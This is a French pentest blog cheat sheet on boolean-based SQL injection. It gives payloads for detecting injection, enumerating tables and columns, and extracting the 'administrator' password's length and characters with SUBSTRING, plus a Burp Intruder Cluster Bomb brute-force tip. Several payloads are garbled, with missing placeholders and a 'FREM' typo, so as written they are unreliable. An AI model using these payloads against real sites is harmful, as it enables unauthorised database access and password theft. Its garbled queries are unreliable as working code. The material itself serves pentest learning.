> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/boolean-based-error-based.md). # Boolean based / Error Based ## Détection Afin de détecter une boolean based SQLi, on va d'abord tenter d'envoyer un payload générique type `' or 1=1--` puis vérifier si il y a une différence entre la réponse de la requête avec le payload et sans. Si un élément a changé, alors il y a possiblement une injection. ```sql '%20or'1'=='1 ' or 1=1-- ``` ## Enumération des tables ```sql ' UNION SELECT 'a' FROM WHERE 1=1-- true pour table users ``` ## Enumeration des colonnes ```sql ' UNION SELECT 'a' FROM users WHERE ='administrator'-- true pour colonne username ``` ## Determiner le nombre de caractères dans le mot de passe d'un utilisateur ```sql ' AND (SELECT username FREM users WHERE username='administrator' AND LENGTH(password)=)='administrator'-- ``` ## Exploitation avec SUBSTR / SUBSTRING ```sql ' and (select substring(password,,1) from users where username='administrator')=''-- ``` {% hint style="info" %} Avec Burp Suite, aller dans intruder, sélectionner les zones \ et \ puis utiliser l'attaque Cluster Bomb. Payload 1: numéros de 1 à la taille découverte plus tôt Payload 2: bruteforce Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final. {% endhint %}

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